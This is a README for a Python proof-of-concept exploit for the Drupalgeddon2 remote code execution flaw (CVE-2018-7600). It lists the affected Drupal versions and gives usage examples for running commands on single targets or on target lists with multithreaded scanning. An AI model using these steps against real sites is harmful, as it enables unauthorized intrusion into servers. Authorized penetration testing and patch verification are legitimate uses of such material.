Drupalgeddon2 Python Exploit (CVE-2018-7600)

This repository contains a Python-based proof-of-concept exploit for the critical remote code execution vulnerability in Drupal, known as Drupalgeddon2 (CVE-2018-7600). This script is designed for educational purposes and for security professionals to use in authorized penetration testing scenarios.

📜 Disclaimer

This tool is intended for legal and ethical purposes only. Using this script on any system without explicit permission from the owner is illegal. The author and contributors are not responsible for any misuse or damage caused by this script. Use at your own risk.

Vulnerability Details

• CVE ID: CVE-2018-7600
• Description: Drupal versions before 7.58, 8.3.9, 8.4.6, and 8.5.1 have a remote code execution vulnerability due to insufficient sanitization of array values in form API (FAPI) AJAX requests. This allows an unauthenticated attacker to execute arbitrary code on the target server.
• Affected Versions:
  • Drupal Core 7.x versions prior to 7.58
  • Drupal Core 8.3.x versions prior to 8.3.9
  • Drupal Core 8.4.x versions prior to 8.4.6
  • Drupal Core 8.5.x versions prior to 8.5.1

✨ Features

• Single or Multiple Targets: Scan a single URL or provide a list of URLs from a file.
• Custom Command Execution: Specify the command to be executed on the target system.
• Multithreading: Run scans on multiple targets concurrently for faster assessments.
• Vulnerability Check: Performs a basic check to identify if a target is running Drupal before attempting the exploit.
• Output Logging: Save the results of the scan to a log file.
• Colored CLI: Clean, color-coded output for better readability.

⚙️ Requirements

• Python 3.x
• requests library
• colorama library

🚀 Installation

1. Clone the repository:

   git clone <repository-url>
   cd <repository-directory>
   

2. Install the required Python packages:

   pip install -r requirements.txt
   

   (Alternatively, install them manually):

   pip install requests colorama
   

Usage

The script offers several command-line arguments to customize its execution.

Basic Examples

1. Exploit a single target with the default command (whoami):

   python3 drupalgeddon2.py -t http://example.com
   

2. Exploit a single target with a custom command (e.g., ls -la):

   python3 drupalgeddon2.py -t http://vulnerable-drupal.site -c "ls -la"
   

3. Scan a list of targets from a file: Create a file named targets.txt with one URL per line:

   http://site1.com
   https://site2.org
   http://site3.net
   

   Then run the script:

   python3 drupalgeddon2.py -l targets.txt
   

Advanced Usage

4. Scan a list with a custom command and increased threads:

   python3 drupalgeddon2.py -l targets.txt -c "uname -a" -T 10
   

5. Save the output to a log file:

   python3 drupalgeddon2.py -l targets.txt -o scan_results.log
   

Full List of Arguments

Argument	Short	Description	Default
--target	-t	A single target URL.	-
--list	-l	Path to a file containing a list of target URLs.	-
--command	-c	The command to execute on the target.	whoami
--threads	-T	Number of concurrent threads to use.	5
--output	-o	File to log the output to.	-
--timeout		Request timeout in seconds.	15